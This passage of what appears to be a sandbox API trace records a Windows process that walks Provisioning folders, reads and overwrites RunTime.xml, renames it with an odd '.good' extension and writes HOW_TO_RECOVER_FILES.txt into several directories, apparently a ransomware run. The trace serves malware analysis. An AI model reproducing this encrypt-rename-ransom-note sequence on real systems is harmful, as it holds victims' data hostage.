ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0116.352] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.352] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0116.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0116.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0116.352] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov", lpFilePart=0x0) returned 0x51 [0116.352] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.352] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.353] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0116.353] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0116.353] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0116.353] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0116.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0116.353] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0116.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0116.353] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x34118c8 | out: lpFileInformation=0x34118c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc)) returned 1 [0116.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0116.353] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0116.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0116.354] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0116.354] GetFileType (hFile=0x7ec) returned 0x1 [0116.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0116.354] GetFileType (hFile=0x7ec) returned 0x1 [0116.354] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1fced8d8 | out: lpFileSizeHigh=0x1fced8d8*=0x0) returned 0x1cc [0116.354] ReadFile (in: hFile=0x7ec, lpBuffer=0x3411d90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced808, lpOverlapped=0x0 | out: lpBuffer=0x3411d90*, lpNumberOfBytesRead=0x1fced808*=0x1cc, lpOverlapped=0x0) returned 1 [0116.665] CloseHandle (hObject=0x7ec) returned 1 [0116.692] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0116.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0116.692] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0116.693] GetFileType (hFile=0x7ec) returned 0x1 [0116.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0116.694] GetFileType (hFile=0x7ec) returned 0x1 [0116.694] WriteFile (in: hFile=0x7ec, lpBuffer=0x33cefa8*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x1fced718, lpOverlapped=0x0 | out: lpBuffer=0x33cefa8*, lpNumberOfBytesWritten=0x1fced718*=0x1d0, lpOverlapped=0x0) returned 1 [0116.695] CloseHandle (hObject=0x7ec) returned 1 [0116.695] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0116.695] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0116.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0116.695] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x41c3bf27, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0116.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0116.695] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml.gоod")) returned 1 [0116.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0116.696] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0116.696] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0117.165] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.165] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fdcb85, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fdcb85, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fdcb85, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0117.165] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0117.165] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0117.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0117.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0117.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0117.165] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0117.165] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0117.166] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.166] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fdcb85, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fdcb85, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fdcb85, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0117.166] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fdcb85, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fdcb85, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fdcb85, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0117.166] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0117.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0117.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0117.166] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcecaf0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0117.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced010) returned 1 [0117.166] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0117.167] GetFileType (hFile=0x768) returned 0x1 [0117.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecf80) returned 1 [0117.167] GetFileType (hFile=0x768) returned 0x1 [0117.168] WriteFile (in: hFile=0x768, lpBuffer=0x34d08c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fced0d8, lpOverlapped=0x0 | out: lpBuffer=0x34d08c8*, lpNumberOfBytesWritten=0x1fced0d8*=0x5d0, lpOverlapped=0x0) returned 1 [0117.169] CloseHandle (hObject=0x768) returned 1 [0117.169] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0117.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0117.169] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0117.169] GetFileType (hFile=0x768) returned 0x1 [0117.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0117.169] GetFileType (hFile=0x768) returned 0x1 [0117.170] WriteFile (in: hFile=0x768, lpBuffer=0x34d41c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcedb08, lpOverlapped=0x0 | out: lpBuffer=0x34d41c0*, lpNumberOfBytesWritten=0x1fcedb08*=0x5d0, lpOverlapped=0x0) returned 1 [0117.171] CloseHandle (hObject=0x768) returned 1 [0117.171] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcedf50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0117.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee470) returned 1 [0117.171] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0117.173] GetFileType (hFile=0x768) returned 0x1 [0117.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee3e0) returned 1 [0117.173] GetFileType (hFile=0x768) returned 0x1 [0117.173] WriteFile (in: hFile=0x768, lpBuffer=0x34d81a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcee538, lpOverlapped=0x0 | out: lpBuffer=0x34d81a8*, lpNumberOfBytesWritten=0x1fcee538*=0x5d0, lpOverlapped=0x0) returned 1 [0117.174] CloseHandle (hObject=0x768) returned 1 [0117.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0117.174] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpFilePart=0x0) returned 0x4c [0117.175] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0117.176] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.176] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f9117b, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f9117b, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f9117b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0117.177] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6af14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6af14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6af14, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0117.177] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0117.177] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0117.177] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0117.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0117.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0117.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0117.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, 